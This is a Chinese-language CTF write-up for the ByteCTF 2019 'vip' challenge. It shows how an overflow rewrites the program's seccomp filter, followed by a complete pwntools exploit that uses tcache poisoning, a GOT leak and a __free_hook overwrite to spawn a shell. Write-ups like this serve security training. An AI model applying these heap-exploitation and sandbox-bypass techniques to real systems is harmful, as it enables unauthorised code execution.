BYTECTF2019-vip

prctl

比赛时没做出来,因为不知道怎样才能正常使用edit。人人人师傅教了我用seccomp-tools可以看prctl的过滤规则,然而知道过滤规则后依旧不知道咋写2333tcl

赛后看了很多师傅的wp,其实方法还是还是蛮多的。尤其是看了ROIS战队师傅的wp之后醍醐灌顶,感觉瞬间就会做了233。

edit函数:

1
2
3
4
5
6
if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);

prctl规则:

1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

在become vip时,让我们输入的name存在溢出的,可以通过溢出来修改prctl规则。

修改prctl规则,使得open("/dev/urandom", 0)的返回值为0,这样就可以正常使用edit了。

修改后的规则:

1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x03 0x00000101  if (A != openat) goto 0005
 0002: 0x20 0x00 0x00 0x00000018  A = filename # openat(dfd, filename, flags, mode)
 0003: 0x15 0x00 0x01 0x0040207e  if (A != 0x40207e) goto 0005
 0004: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

之后利用tcache分配一块chunk到404100,就可以为所欲为。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=UTF-8
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
onegadget=[0x4f2c5,0x4f322,0x10a38c]
def alloc(idx):
sh.recvuntil("choice: ")
sh.sendline("1")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil("choice: ")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
def edit(idx,size,content):
sh.recvuntil("choice: ")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
sh.recvuntil('Size: ')
sh.sendline(str(int(size)))
sh.recvuntil("Content: ")
sh.send(content)
def free(idx):
sh.recvuntil("choice: ")
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(idx))
def vip(name):
sh.recvuntil("choice: ")
sh.sendline("6")
sh.recvuntil("name: \n")
sh.send(name)
sh=process("./vip")
elf=ELF('./vip')
libc=ELF('./libc-2.27.so')
alloc(0)
alloc(1)
vip('4'*0x20 + "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f")
free(1)
edit(0,0x68,'\x00'*0x50+p64(0)+p64(0x61)+p64(0x404100))
alloc(1)
alloc(2) #404100
edit(2,0x8,p64(elf.got['puts']))
show(0)
leak=u64(sh.recv(6)+'\x00\x00')
log.success('puts: '+hex(leak))
libcbase=leak-libc.symbols['puts']
log.success('libcbase: '+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
log.success('freehook: '+hex(freehook))
edit(2,0x8,p64(freehook))
edit(0,0x8,p64(libcbase+onegadget[1]))
free(0)
sh.interactive()
文章目录
|